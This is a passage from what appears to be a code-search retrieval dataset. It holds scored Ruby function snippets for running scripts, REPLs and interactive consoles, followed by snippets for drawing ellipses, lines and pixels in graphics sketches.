"text": "def run\n if options[:command].present?\n evaluate options[:command].join(' ')\n return\n end\n welcome\n repl = lambda do |prompt|\n print prompt\n evaluate( STDIN.gets.chomp! )\n end\n loop { break unless repl[prompt] }\n end",
"title": ""
},
{
"docid": "76eebc533e0cd3a49cce9f63b9a9a0fb",
"score": "0.57695556",
"text": "def init_rpn(filename)\n if filename.nil?\n @mode = true\n repl_run\n else\n return err_five \"File: #{filename} unable to open\" unless File.file? filename\n file = File.new filename\n #err_five \"File: #{filename} unable to open\" if file.nil?\n file_run file\n end\n end",
"title": ""
},
{
"docid": "88cd59b38785356b4d202aeac970a9b7",
"score": "0.57650536",
"text": "def run(*paths)\n if interactive?\n launch_in_background(*paths)\n else\n ConsoleLoop.new(@tool, *paths).run\n end\n end",
"title": ""
},
{
"docid": "9da6b4c6d7c16b1b88aa0e88011e7809",
"score": "0.5762605",
"text": "def run \n \tparams = ARGV.first\n\n if is_file_mode? params\t\n init_file_mode(params) if valid_input?(params)\n else\n init_interactive_mode\n end\n end",
"title": ""
},
{
"docid": "b7bbf67feb789eb3860a65ac809dd254",
"score": "0.57575786",
"text": "def interactive\n require \"irb\"\n try_require \"irb/completion\" # some people can have ruby compliled without readline\n ARGV.clear # otherwise irb will read it\n IRB.start\n end",
"title": ""
},
{
"docid": "128aa523b56ba05fb607f8c1ad651428",
"score": "0.5745569",
"text": "def run_script file, *args\n old_argv = ARGV\n Object.send(:remove_const, :ARGV)\n Object.const_set(:ARGV, args)\n load file\n Object.send(:remove_const, :ARGV)\n Object.const_set(:ARGV, old_argv)\n end",
"title": ""
},
{
"docid": "e838d422c1ac2343ad0c5822eaae674c",
"score": "0.5729356",
"text": "def run file_name \n application = select_app file_name\n system \"#{application} #{file_name}\"\n end",
"title": ""
},
{
"docid": "7bc2b50a81746c2491c4336fc68c15bc",
"score": "0.5726807",
"text": "def do_run\n return unless @output\n\n @output_buffer = []\n @output.value = ''\n @editor.focus\n source = @editor.value.strip\n return unless source\n\n # Add additional code if available\n if @loaded && @current_item && @current_item.load_code\n source = \"#{@current_item.load_code}\\n#{source}\"\n end\n\n # Run\n eval_code source\n end",
"title": ""
},
{
"docid": "ae05f195c7579bf0f7fae5c7a2ac71ec",
"score": "0.5711846",
"text": "def run\n loop do\n prompt = self.class.prompt || \"#{`whoami`.chomp} $ \"\n cmd = @readline.readline prompt\n finish if cmd.nil? || cmd == 'exit'\n next if cmd.empty?\n @history << cmd\n execute cmd\n end\n end",
"title": ""
},
{
"docid": "7d2814e317db3b1c314070c47e110263",
"score": "0.5710629",
"text": "def source_file(file)\n invoke_command \"source-file #{file}\"\n end",
"title": ""
},
{
"docid": "4cd8616948b69891798e915278e1b4c5",
"score": "0.5709739",
"text": "def execute(progromfile, argv=[], logger=[])\n input(progromfile, argv) do |input, output|\n logger << \"Running in RubyTerminal (#{running_dir})\\n\"\n output.output_until_execution_finished(input, STDOUT)\n yield if block_given? # for command to execute 'exit'\n end\n end",
"title": ""
},
{
"docid": "7b63bfae1a76e71fa198c99cff1980df",
"score": "0.569747",
"text": "def repl\n loop do\n Input.read!\n evaluate(Input.buffer) if Input.complete?\n end\n rescue StandardError, SyntaxError => exception\n handle_exception(exception)\n ensure\n prompt!\n repl\n end",
"title": ""
},
{
"docid": "476053580ae1ad4256f23b37d48af31c",
"score": "0.5687562",
"text": "def interact\n while true do\n begin\n prompt\n command = get_command\n execute_shell_action(command)\n rescue => detail\n puts detail.backtrace\n $stderr.puts detail\n end\n end\n end",
"title": ""
},
{
"docid": "acc89fcd7271ede80ad4f7414da6873a",
"score": "0.5676334",
"text": "def edit( filename )\n\teditor = ENV['EDITOR'] || ENV['VISUAL'] || DEFAULT_EDITOR\n\tsystem editor, filename\n\tunless $?.success?\n\t\tfail \"Editor exited uncleanly.\"\n\tend\nend",
"title": ""
},
{
"docid": "291d5fec0ac55d5cf6210ef8ad401d37",
"score": "0.56644285",
"text": "def run\n stty_save = `stty -g`.chomp\n trap('INT') { system('stty', stty_save); exit }\n\n loop do\n log \"Current host is: #{current_host.name}\"\n prompt = ENV['PROMPT'] || new_prompt\n\n Readline.completion_proc = Rosh::Completion.build do\n [\n current_shell.public_methods(false).map(&:to_s) |\n current_shell.system_commands.map(&:to_s),\n Rosh.hosts.keys,\n current_shell.workspace.send(:binding)\n ]\n end\n\n argv = readline(prompt, true)\n next if argv.empty?\n\n log \"Read input: #{argv}\"\n\n if multiline_ruby?(argv)\n argv = ruby_prompt(argv)\n log \"Multi-line Ruby; argv is now: #{argv}\"\n end\n\n result = execute(argv)\n puts result\n\n result\n end\n end",
"title": ""
},
{
"docid": "cbf2e93147ebd2d6325ab52faf34d358",
"score": "0.566376",
"text": "def start\n loop do\n begin\n @interpreter.buffer = Readline.readline(\"zoql> \", true)\n rescue Interrupt\n puts\n retry\n end\n\n if @interpreter.exit?\n puts \"Bye!\"\n break\n end\n\n next if @interpreter.blank?\n\n command = @interpreter.command\n command&.run(config: @config)\n end\n end",
"title": ""
},
{
"docid": "c689b8218aae143a65b92749441f455a",
"score": "0.56584376",
"text": "def run\n Cool.io::Loop.default.run\n end",
"title": ""
},
{
"docid": "b2893975f599a3b02c83a3698eb8fa04",
"score": "0.5658425",
"text": "def test_file_run\n\t\tread_file = File.new(\"read_file.txt\", \"w\")\n\t\tread_file.puts(\"LET a 100\")\n\t\tread_file.puts(\"QUIT\")\n\t\tread_file.close\n\t\tread_file = File.new \"read_file.txt\"\n\t\tline = \"nothing\"\n\t\terr_num = 0\n\t\tdef @runner.exit_out(err_num); true; end\n\t\tdef @runner.parse_line(line); true; end\n\t\tassert_nil @runner.file_run(read_file)\n\tend",
"title": ""
},
{
"docid": "f0b5ecf0433ceadf8bfdef6d84ef13e3",
"score": "0.5653404",
"text": "def execute_runner(kind, template_file)\n # Determine resolved template path\n template_file = template_file.to_s\n template_path = case\n when template_file =~ %r{^https?://} && template_file !~ /gist/\n template_file\n when template_file =~ /gist/ && template_file !~ /raw/\n raw_link, _ = *URI.open(template_file) { |io| io.read.scan(/<a\\s+href\\s?\\=\\\"(.*?)\\\"\\>raw/) }\n raw_link ? \"https://gist.github.com#{raw_link[0]}\" : template_file\n when File.extname(template_file).empty? # referencing official plugin (i.e hoptoad)\n \"https://raw.github.com/padrino/padrino-recipes/master/#{kind.to_s.pluralize}/#{template_file}_#{kind}.rb\"\n else # local file on system\n File.expand_path(template_file)\n end\n begin\n self.apply(template_path)\n rescue => error\n say(\"The template at #{template_path} could not be loaded: #{error.message}\", :red)\n end\n end",
"title": ""
},
{
"docid": "f5b58e59679a1eaad90663bd1f8b2050",
"score": "0.56495404",
"text": "def __run(requester_file, arguments)\n raise \"Command._run should be overriden\"\n end",
"title": ""
},
{
"docid": "9a70de8b13624bdda922d3754d90c716",
"score": "0.56491673",
"text": "def test_run_eval_1\n\t\ttester = TheRepl.new()\n\t\tdef tester.check_run_type(file_line); []; end\n\t\tassert_equal true, tester.run_eval(\"\", 1, false)\n\tend",
"title": ""
},
{
"docid": "bdae5d53ace8c24d88ed6e1b43d77b78",
"score": "0.56462586",
"text": "def run_readline\n\t\t\tloop do\n\t\t\t\tcmd = Readline.readline(@prompt)\n\n\t\t\t\tfinish if cmd.nil? or cmd == 'exit'\n\t\t\t\tnext if cmd == \"\"\n\t\t\t\tReadline::HISTORY.push(cmd)\n\n\t\t\t\texecute(cmd)\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "4c50c41e77021ea05cdab280ec214d41",
"score": "0.5640392",
"text": "def eval_launcfile\n launcher = read_launchfile\n launcher.replace!\nend",
"title": ""
},
{
"docid": "f58cab33538b68a37ff749e813660378",
"score": "0.56368077",
"text": "def start\n puts \"Entry Reporter\"\n command = '> '\n\n while command != 'q'\n puts \"load a file:\"\n puts \"> \"\n parts = process_input(gets.chomp)\n assign_instructions(parts)\n execute_instructions\n end\n end",
"title": ""
},
{
"docid": "71bbbcd4042d748e91ae4298db5a9969",
"score": "0.5628618",
"text": "def run_console\n require 'irb'\n require 'irb/completion'\n require 'pp'\n load_code\n connect_to_database\n IRB.start\n end",
"title": ""
},
{
"docid": "33e47e733dc0a6f91ee263ace54a5ea2",
"score": "0.5622174",
"text": "def run(command_file = nil, &block)\n unless command_file.nil?\n commands = File.read(command_file)\n instance_eval(commands, command_file, 1)\n end\n instance_eval(&block) if block_given?\n end",
"title": ""
},
{
"docid": "b5eaaa7a4157136bcf8aac9fbbf7134c",
"score": "0.56175596",
"text": "def __run(requester_file, arguments)\n self.includes.each{|i| $LOAD_PATH.unshift(i)}\n self.requires.each{|i| require(i)}\n \n sequel_db = connect_database\n schema = Rubyrel::DDL::Schema.new(:noname)\n schema.__load_from_database(sequel_db)\n rubyrel_db = Rubyrel::Database.new(schema, sequel_db)\n if file_execution\n rubyrel_db.instance_eval(File.read(file_execution))\n else\n Interpretor.new(rubyrel_db).execute\n end\n end",
"title": ""
},
{
"docid": "0f759e10ebd6a528379a1ad4f6c7ff6b",
"score": "0.5611547",
"text": "def run(code,file=nil,line=nil)\n @runner.run(code,file,line)\n end",
"title": ""
},
{
"docid": "d63c57a2737ae57bf78a6ac0e67baa8a",
"score": "0.5603752",
"text": "def files_to_run; end",
"title": ""
},
{
"docid": "3d3f9dd9c0dc01ab97a3fc79a12c13df",
"score": "0.56023467",
"text": "def execute\n assert_file_existence(file_name)\n echo_people(file_name)\n end",
"title": ""
},
{
"docid": "d2ed16f2f700f32933f1b9097f640c8e",
"score": "0.559902",
"text": "def run_script(file, out = handler.interface, verbose=false)\n interface = ScriptInterface.new(File.expand_path(file), out)\n processor = ControlCommandProcessor.new(interface)\n processor.process_commands(verbose)\n end",
"title": ""
},
{
"docid": "d2ed16f2f700f32933f1b9097f640c8e",
"score": "0.559902",
"text": "def run_script(file, out = handler.interface, verbose=false)\n interface = ScriptInterface.new(File.expand_path(file), out)\n processor = ControlCommandProcessor.new(interface)\n processor.process_commands(verbose)\n end",
"title": ""
},
{
"docid": "8e3cf5df06795cb7029c23ec5d7d8491",
"score": "0.55983263",
"text": "def execute(argv, filename='Runfile')\n @ignore_settings = !filename\n argv = expand_shortcuts argv\n filename and File.file?(filename) or handle_no_runfile argv\n\n begin\n load settings.helper if settings.helper\n load filename\n rescue => ex\n abort \"Runfile error:\\n#{ex.message}\\n#{ex.backtrace[0]}\"\n end\n run(*argv)\n end",
"title": ""
},
{
"docid": "d3198b16aca2c3ef912b5743092b0f9d",
"score": "0.55963695",
"text": "def source(file=nil, ignore_fnf=nil)\n f = file || ask(\"filename\")\n if f\n f = File.expand_path(f)\n if (!ignore_fnf) || (File.exists? f)\n\tbegin\n\t File.open f do |fd|\n\t eval fd.readlines.join, @sandbox, file\n\t end\n\trescue Exception => exc\n\t interject :errors, nil, \"error in #{file}\\n>#{$!}\"\n\tend\n end\n end\n end",
"title": ""
},
{
"docid": "f02e164919999563c92ed6aa5f334c9a",
"score": "0.55945534",
"text": "def run_session\n return TryRubyOutput.line_continuation(nesting_level) if nesting_level > 0\n\n line = current_statement.join(\"\\n\")\n\n return TryRubyOutput.no_output if RubyParser.new.parse(line) == nil\n \n include_cmd = self.current_includes.map do |inc|\n File.read(\"#{inc}.rb\")\n end.join(\"\\n\")\n\n\n original_stdout = $stdout\n eval_cmd = <<EOF\n#{include_cmd}\n\npoem = <<POEM_EOF\nMy toast has flown from my hand\nAnd my toast has gone to the\nmoon.\nBut when I saw it on television,\nPlanting our flag on Halley's\ncomet,\nMore still did I want to eat it.\nPOEM_EOF\ndef require(require_path)\n result = false\n Thread.new do\n #require_path.untaint\n path = require_path.sub(/\\.rb$/, \"\")\n if ['popup'].include?(path) and !$session.current_includes.include?(path)\n $session.current_includes << path\n result = true\n end\n end.join\n result\nend\n\nFakeFS.activate!\nFakeFS::FileSystem.clear\n\n# create the basic filesystem\n[\"Home\", \"Libraries\", \"MouseHole\", \"Programs\", \"Tutorials\"].each {|dir| Dir.mkdir dir}\ncomic_txt_text = <<COMIC_EOF\nAchewood: http://achewood.com/\nDinosaur Comics: http://qwantz.com/\nPerry Bible Fellowship: http://cheston.com/pbf/archive.html\nGet Your War On: http://mnftiu.cc/\nCOMIC_EOF\nFile.open(\"/comics.txt\", \"w\") { |file| file.write(comic_txt_text) }\n\nflickrpedia_user_rb_text = <<FLICK_EOF\nMouseHole.script do \n name 'FlickrPedia' \n namespace 'mail@robertbrook.com' \n description \"Inserts Wikipedia links for Flickr tags\" \n version '0.1' \n \n include_match %r{^HTTP://www.flickr.com/photos/.*?$} \n \n rewrite do |req, res| \n document.elements.each('//a[@class=\"globe\"]') do |link| \n href = link.attributes['href'] \n clipped = href[13 ..-11] # who needs regex? \n span = REXML::Element.new 'a' \n span.attributes['class'] = 'Grey' \n span.attributes['href'] = 'HTTP://www.wikipedia.org/wiki/' + clipp\ned \n span.text = 'W ' # this is pretty crappy... \n link.parent.insert_after link, span \n end \n end \nend \nFLICK_EOF\n\nFile.open(\"/MouseHole/flickrpedia.user.rb\", \"w\") {|f| f.write(flickrpedia_user_rb_text)}\n\n$SAFE = 3\n$stdout = FakeStdout.new\n#{self.past_commands.join(\"\\n\")}\nbegin\n$stdout = FakeStdout.new\n{result:(\n#{line}\n), output: $stdout.to_s}\nrescue SecurityError => e\nTryRubyOutput.illegal\nrescue Exception => e\nTryRubyOutput.error(error: e, output: $stdout.to_s)\nend\nEOF\n\n eval_result = Thread.new do \n eval(eval_cmd, TOPLEVEL_BINDING)\n end.value\n FakeFS.deactivate!\n self.current_statement = []\n $stdout = original_stdout\n return eval_result if eval_result.is_a?(TryRubyOutput) # exception occurred\n output = eval_result[:output]\n result = eval_result[:result]\n \n self.past_commands << line\n if result.is_a? JavascriptResult\n return TryRubyOutput.javascript(javascript: result.javascript, output: output)\n else\n return TryRubyOutput.standard(result: result, output: output)\n end\n end",
"title": ""
},
{
"docid": "926e426e1aa4dd359cf5751a01cff7c0",
"score": "0.55942035",
"text": "def run_script(scriptfile)\n eval(IO.read(scriptfile))\n end",
"title": ""
},
{
"docid": "dedaf1a74b870656f6fe98f29cfe8fff",
"score": "0.5588716",
"text": "def main()\n filnamn = ARGV[0];\n text = read_source_file(filnamn:filnamn)\n print_data_to_terminal(text:text)\nend",
"title": ""
},
{
"docid": "d8a6e4ea3eddb23e561f38f158aebfb0",
"score": "0.5584209",
"text": "def edit( filename )\n\t\t\teditor = ENV['EDITOR'] || ENV['VISUAL'] || DEFAULT_EDITOR\n\t\t\tsystem editor, filename\n\t\t\tunless $?.success?\n\t\t\t\tfail \"Editor exited uncleanly.\"\n\t\t\tend\n\t\tend",
"title": ""
}
] |
d4bd7417026962f72b070e283d781b45 | by Daniel Shiffman. Mouse horizontal location controls size of dots. Creates a simple pointillist effect using ellipses colored according to pixels in an image. | [
{
"docid": "f6c1fc69039685f29feceeda71ebb105",
"score": "0.48247537",
"text": "def setup\n size 400, 400\n @a = load_image 'eames.jpg'\n no_stroke\n background 255\n smooth\nend",
"title": ""
}
] | [
{
"docid": "9a20f159e182e21282610a4474dc3e18",
"score": "0.569501",
"text": "def line_xiaolin_wu(x0, y0, x1, y1, color)\n y0, y1, x0, x1 = y1, y0, x1, x0 if y0 > y1\n dx = x1 - x0\n sx = dx < 0 ? -1 : 1\n dx *= sx\n dy = y1 - y0\n \n if dy == 0 # vertical line\n Range.new(*[x0,x1].sort).each do |x|\n point(x, y0, color)\n end\n elsif dx == 0 # horizontal line\n (y0..y1).each do |y|\n point(x0, y, color)\n end\n elsif dx == dy # diagonal\n x0.step(x1, sx) do |x|\n point(x, y0, color)\n y0 += 1\n end\n \n elsif dy > dx # vertical displacement\n point(x0, y0, color)\n e_acc = 0 \n e = ((dx << 16) / dy.to_f).round\n (y0...y1-1).each do |i|\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xffff\n x0 = x0 + sx if (e_acc <= e_acc_temp)\n w = 0xff - (e_acc >> 8)\n point(x0, y0, ChunkyPNG::Color.fade(color, w)) if include_xy?(x0, y0)\n y0 = y0 + 1\n point(x0 + sx, y0, ChunkyPNG::Color.fade(color, 0xff - w)) if include_xy?(x0 + sx, y0)\n end\n point(x1, y1, color)\n \n else # horizontal displacement\n point(x0, y0, color)\n e_acc = 0\n e = (dy << 16) / dx\n (dx - 1).downto(0) do |i|\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xffff\n y0 += 1 if (e_acc <= e_acc_temp)\n w = 0xff - (e_acc >> 8)\n point(x0, y0, ChunkyPNG::Color.fade(color, w)) if include_xy?(x0, y0)\n x0 += sx\n point(x0, y0 + 1, ChunkyPNG::Color.fade(color, 0xff - w)) if include_xy?(x0, y0 + 1)\n end\n point(x1, y1, color)\n end\n \n return self\n end",
"title": ""
},
{
"docid": "48fb8595b977f2b17697a3c2209505b9",
"score": "0.55800563",
"text": "def ladderize\n puts \"ladderizing\"\n @image.draw_line([0, CELL_SIZE / 2], [CELL_SIZE, CELL_SIZE / 2], :black)\n end",
"title": ""
},
{
"docid": "2c95de780016cc9fe183a601c6f29762",
"score": "0.54402596",
"text": "def ellipse_wgs84(x, y, *args); args.unshift(* latlon_to_pixels(x, y)); ellipse(*args); end",
"title": ""
},
{
"docid": "8b548cb98e2153ee0934059f453f789c",
"score": "0.5235734",
"text": "def ellipse x, y, w, h, c, fill = false, aa = true\n y = self.h-y-1\n renderer.draw_ellipse x, y, w, h, color[c], aa, fill\n end",
"title": ""
},
{
"docid": "a241581fc4daaef0496f5f019cec5f75",
"score": "0.5186156",
"text": "def polygon(size, points)\r\n img = Image.new(size, size) { self.background_color = 'white' }\r\n\r\n minx = miny = size\r\n maxx = maxy = 0\r\n\r\n lines = []\r\n segments = []\r\n (0...points.count).each do |i|\r\n minx = points[i][0] if points[i][0] < minx\r\n miny = points[i][1] if points[i][1] < miny\r\n maxx = points[i][0] if points[i][0] > maxx\r\n maxy = points[i][1] if points[i][1] > maxy\r\n\r\n lines << [points[i], points[i-1]]\r\n segments << LineIntersection::Segment.from_array(lines[i])\r\n end\r\n\r\n (minx.to_i..maxx.to_i).each do |x|\r\n (miny.to_i..maxy.to_i).each do |y|\r\n # c = lines.count { |l| intersection?(l, [[0,y.to_f],[x.to_f,y.to_f]]) }\r\n # d = lines.count { |l| intersection(l, [[size.to_f,y.to_f],[x.to_f,y.to_f]]) }\r\n # img.pixel_color(x-1, (size) - y, 'black') if c.odd? and d.odd?\r\n # img.pixel_color(x-1, (size) - y, 'black') if c.odd?\r\n\r\n # intersections = lines.map do |l1|\r\n # l2 = [[0, y.to_f], [x.to_f, y.to_f]]\r\n # p = intersection(l1, l2)\r\n # check_point(l1, p) && check_point(l2, p) ? [p[0].to_i, p[1].to_i] : nil\r\n # end\r\n #\r\n # intersections = intersections.compact.uniq\r\n # img.pixel_color(x-1, (size) - y, 'black') if intersections.odd?\r\n\r\n res = segments.map do |s1|\r\n s2 = LineIntersection::Segment.from_array([[0, y.to_f], [x.to_f, y.to_f]])\r\n p = LineIntersection.ll_intersection(s1, s2)\r\n p.x = p.x.to_i if p\r\n p.y = p.y.to_i if p\r\n p\r\n end\r\n\r\n res.compact!.uniq!\r\n img.pixel_color(x-1, (size) - y, 'black') if res.count.odd?\r\n\r\n # ps = []\r\n # lines.each do |l|\r\n # p = intersection(l, [[-1.0,-1.0],[x.to_f,y.to_f]])\r\n # ps << p if !p.nil? && !ps.include?(p)\r\n # end\r\n # img.pixel_color(x-1, (size) - y, 'black') if ps.count.odd?\r\n end\r\n end\r\n\r\n img\r\n end",
"title": ""
},
{
"docid": "630324cb3b899bd3d42408ad94359606",
"score": "0.5178121",
"text": "def ellipsize! *args\n replace(ellipsize *args)\n end",
"title": ""
},
{
"docid": "17c5c48e4aff4962f231ec89cc7e8002",
"score": "0.51366967",
"text": "def variable_ellipse(x, y, px, py)\n speed = (x - px).abs + (y - py).abs\n stroke(speed)\n ellipse(x, y, speed, speed)\nend",
"title": ""
},
{
"docid": "3200eca946024af3421a085b57a01c98",
"score": "0.5117472",
"text": "def img_piece(color, name)\n img = FXImage.new(app, :width => @inc - 8, :height => @inc - 8)\n img.create\n FXDCWindow.new(img) do |dc|\n dc.foreground = (color == :red ? RED_COLOR : BLUE_COLOR)\n dc.fillRectangle(0, 0, img.width, img.height)\n end\n img\n end",
"title": ""
},
{
"docid": "8f20a6ebd86da40d77293eec77731381",
"score": "0.5113018",
"text": "def draw_line(filename, image, x, options)\n cols = image.columns\n rows = image.rows\n redline = []\n (3*rows).times do \n redline << Magick::Pixel.from_color('red')\n end\n image.store_pixels(x-1,0,3,rows, redline)\n ext = File.extname(filename)\n \n if options[:vertical]\n image.rotate!(270)\n end\n\n image.write(filename.sub(ext, \"_autosplit#{ext}\"))\nend",
"title": ""
},
{
"docid": "f83d7edf83830d2027c157b369bf2398",
"score": "0.50969976",
"text": "def display\n stroke(rand(255), rand(255), rand(255))\n ellipse($x, $y, 1, 1);\n point($x, $y)\n end",
"title": ""
},
{
"docid": "ce95812404aa92300ff6d953efe93bbe",
"score": "0.50641245",
"text": "def draw_image\n @pixel_maps = (1..@height).map{ (1..@with).map{\"O\"} }\n\n # show the preview of the image\n @pixel_maps.each do |e|\n \tputs e.join(' ')\n end\n end",
"title": ""
},
{
"docid": "a76a3e85f2407fbf5aa057ddb3fddd43",
"score": "0.5063283",
"text": "def display\n stroke(rand(255), rand(255), rand(255))\n ellipse(@x, @y, 1, 1);\n point(@x, @y)\n end",
"title": ""
},
{
"docid": "76ec2e9e42ed8b9a9123b2e7c63316ab",
"score": "0.5050315",
"text": "def drawExplosion(magnitude, inImage:image)\n UIGraphicsBeginImageContext(image.size)\n image.drawInRect(CGRectMake(0,0,image.size.width,image.size.height))\n\n # Minh, redraw explosion for a better representation\n ratio = magnitude/30000\n if ratio < 0.4\n ratio = 0.4\n elsif ratio > 1\n ratio = 1\n end\n explosionImage = UIImage.imageNamed(\"fire_explosion.png\")\n explosionImage.drawInRect(CGRectMake(image.size.width*(1.0-ratio)/2.0,image.size.height*(1.0-ratio)/2.0,image.size.width*ratio,image.size.height*ratio))\n\n context = UIGraphicsGetCurrentContext()\n\n # max x and y 500?\n #(1..100).each do |i|\n\n #end\n #draw_force_circle(context,CGPointMake(image.size.width/2, image.size.height/2),(magnitude/52000)*image.size.width/2)\n\n newImage = UIGraphicsGetImageFromCurrentImageContext()\n UIGraphicsEndImageContext()\n\n newImage\n end",
"title": ""
},
{
"docid": "e141be82473d7e576fa9f5c8e678348e",
"score": "0.5036104",
"text": "def on_mousemove(x, y)\n end",
"title": ""
},
{
"docid": "c0bcb94683eaf11ed627ec0c91706801",
"score": "0.5025645",
"text": "def objective_x; line_height / 2; end",
"title": ""
},
{
"docid": "084f4aebc87a2bce64689a26fa927612",
"score": "0.50244373",
"text": "def render_point_big(x, y, color)\n @app.stroke color\n @app.strokewidth 2\n @app.nofill\n @app.oval x-1,y-1, 2\n end",
"title": ""
},
{
"docid": "74dda262bf86706ba0edb55ec35901cd",
"score": "0.5023734",
"text": "def hull_points\r\n end",
"title": ""
},
{
"docid": "74dda262bf86706ba0edb55ec35901cd",
"score": "0.5023734",
"text": "def hull_points\r\n end",
"title": ""
},
{
"docid": "74dda262bf86706ba0edb55ec35901cd",
"score": "0.5023734",
"text": "def hull_points\r\n end",
"title": ""
},
{
"docid": "34af9773fc647de1c9090b1c128e8544",
"score": "0.50184655",
"text": "def horizontal(x1, x2, y, c) \n ([x1-1,x2-1].min).upto([x1-1,x2-1].max) do |num|\n @bitmap.image[y-1][num] = c\n end \n end",
"title": ""
},
{
"docid": "dac909220e9b0dc14654da0f40ef5cc0",
"score": "0.50050986",
"text": "def point(x, y, color, size)\r\n stroke color\r\n (0..size).each do |i|\r\n line x.to_i.abs, y.to_i.abs, x + size, y + i\r\n end\r\nend",
"title": ""
},
{
"docid": "459acc05c2265b90b0c5ea9c56134c25",
"score": "0.50046873",
"text": "def generate_image\n UIGraphicsBeginImageContextWithOptions(@image_size.to_a, false, 0.0)\n context = UIGraphicsGetCurrentContext()\n setup_context(context)\n @colour.set\n if @original_points.length == 1\n draw_sole_point(context)\n else\n draw_path_of_points(context)\n end\n @image = UIGraphicsGetImageFromCurrentImageContext()\n UIGraphicsEndImageContext()\n end",
"title": ""
},
{
"docid": "006577add992a3669ac52c87bab4815f",
"score": "0.50017047",
"text": "def plot_img; end",
"title": ""
},
{
"docid": "0faec6d639d888d4ff2ae294135c5cde",
"score": "0.49959618",
"text": "def draw_ptsAttack()\n draw_icon(7929, 48, 0)\n draw_text(62, 16, 20, 18, @actor.actor.points_attack)\n end",
"title": ""
},
{
"docid": "0faec6d639d888d4ff2ae294135c5cde",
"score": "0.49959618",
"text": "def draw_ptsAttack()\n draw_icon(7929, 48, 0)\n draw_text(62, 16, 20, 18, @actor.actor.points_attack)\n end",
"title": ""
},
{
"docid": "b5ace004b2adbd529d340957220850d1",
"score": "0.4995844",
"text": "def display\n ellipse_mode(CENTER)\n stroke_weight(4)\n stroke(0)\n if @dragging\n fill(50)\n elsif @rollover\n fill(100)\n else\n fill(175, 200)\n end\n ellipse(location.x, location.y, mass * 2, mass * 2)\n end",
"title": ""
},
{
"docid": "a0a4cb30ebb83e7504fc8e121e992155",
"score": "0.49957958",
"text": "def draw size, x_offset, y_offset\n px = @x * size\n py = @y * size\n\n image = @images.is_a?(Array) ? @images[0] : @images\n image.draw(px - x_offset, py - y_offset, 0, size, size)\n\n\n end",
"title": ""
},
{
"docid": "cc738559e91dc4a8add4a4b6d7a73a03",
"score": "0.4979931",
"text": "def test_paint_horizontal\n @large_bitmap.paint_horizontal(9, 2, 6, 'H')\n pixels = (1..10).collect { |x| @large_bitmap.grid.get_value_at_point(x, 6) }\n assert_equal 'OHHHHHHHHO', pixels.join\n end",
"title": ""
},
{
"docid": "811f856bd2c92a90b9900928c312c97d",
"score": "0.49774903",
"text": "def cx\n self.x + width / 2\n end",
"title": ""
},
{
"docid": "1725b8ab925cae63ccd276e47f61cf69",
"score": "0.49771023",
"text": "def display\n stroke 0\n fill 175\n ellipse @x, 100, 32, 32\nend",
"title": ""
},
{
"docid": "b78024e3b0edd998e64a39675fa699ef",
"score": "0.4970691",
"text": "def line_xiaolin_wu(x0, y0, x1, y1, stroke_color, inclusive = true)\n \n stroke_color = ChunkyPNG::Color(stroke_color)\n \n dx = x1 - x0\n sx = dx < 0 ? -1 : 1\n dx *= sx\n dy = y1 - y0\n sy = dy < 0 ? -1 : 1\n dy *= sy\n \n if dy == 0 # vertical line\n x0.step(inclusive ? x1 : x1 - sx, sx) do |x|\n compose_pixel(x, y0, stroke_color)\n end\n \n elsif dx == 0 # horizontal line\n y0.step(inclusive ? y1 : y1 - sy, sy) do |y|\n compose_pixel(x0, y, stroke_color)\n end\n \n elsif dx == dy # diagonal\n x0.step(inclusive ? x1 : x1 - sx, sx) do |x|\n compose_pixel(x, y0, stroke_color)\n y0 += sy\n end\n \n elsif dy > dx # vertical displacement\n compose_pixel(x0, y0, stroke_color)\n e_acc = 0\n e = ((dx << 16) / dy.to_f).round\n (dy - 1).downto(0) do |i|\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xffff\n x0 += sx if (e_acc <= e_acc_temp)\n w = 0xff - (e_acc >> 8)\n compose_pixel(x0, y0, ChunkyPNG::Color.fade(stroke_color, w))\n compose_pixel(x0 + sx, y0 + sy, ChunkyPNG::Color.fade(stroke_color, 0xff - w)) if inclusive || i > 0\n y0 += sy\n end\n compose_pixel(x1, y1, stroke_color) if inclusive\n \n else # horizontal displacement\n compose_pixel(x0, y0, stroke_color)\n e_acc = 0\n e = ((dy << 16) / dx.to_f).round\n (dx - 1).downto(0) do |i|\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xffff\n y0 += sy if (e_acc <= e_acc_temp)\n w = 0xff - (e_acc >> 8)\n compose_pixel(x0, y0, ChunkyPNG::Color.fade(stroke_color, w))\n compose_pixel(x0 + sx, y0 + sy, ChunkyPNG::Color.fade(stroke_color, 0xff - w)) if inclusive || i > 0\n x0 += sx\n end\n compose_pixel(x1, y1, stroke_color) if inclusive\n end\n \n return self\n end",
"title": ""
},
{
"docid": "b182741d738bc185054a264be15c13ef",
"score": "0.49667898",
"text": "def mouse_x; mouseX; end",
"title": ""
},
{
"docid": "ab26f8079729303d685a387d7653839a",
"score": "0.49457663",
"text": "def place_specific_marker(x, y)\n image(@a, x, y, 10 * 5, 10 * 5)\n end",
"title": ""
},
{
"docid": "1f009d7d4d3f2b00f64df14428c309db",
"score": "0.49361953",
"text": "def display\n fill(127)\n stroke(0)\n stroke_weight(2)\n ellipse(x, y, 32, 32)\n end",
"title": ""
},
{
"docid": "46f9412b1090562c330209a501a0141b",
"score": "0.49113265",
"text": "def draw_points(points, size = 6, style = 3, color = 'black')\n end",
"title": ""
},
{
"docid": "6643f3f39d83613df942e42f80e9956b",
"score": "0.48971733",
"text": "def mouse_moved(x,y)\n \n end",
"title": ""
},
{
"docid": "669f1094b5f73fd0071342f7bd277fbe",
"score": "0.48511586",
"text": "def highlight_dot( x, y, range )\n @highlighted_dot = nil if x.nil? or y.nil?\n @dots.each do |dot|\n if Gosu::distance( x, y, dot.x, dot.y ) <= range\n @highlighted_dot = dot\n\treturn @highlighted_dot\n end\n end\n return nil\n end",
"title": ""
},
{
"docid": "70eac270e731d89f663f18765269e3e5",
"score": "0.48500967",
"text": "def draw_point(x, y, r, g, b)\n @image.move_to(x, y)\n @image.line_to(x + 1, y + 1)\n @image.set_source_rgb(r, g, b)\n @image.stroke\n end",
"title": ""
},
{
"docid": "1f89b60d9ff1d930fa0a15d798784f59",
"score": "0.483742",
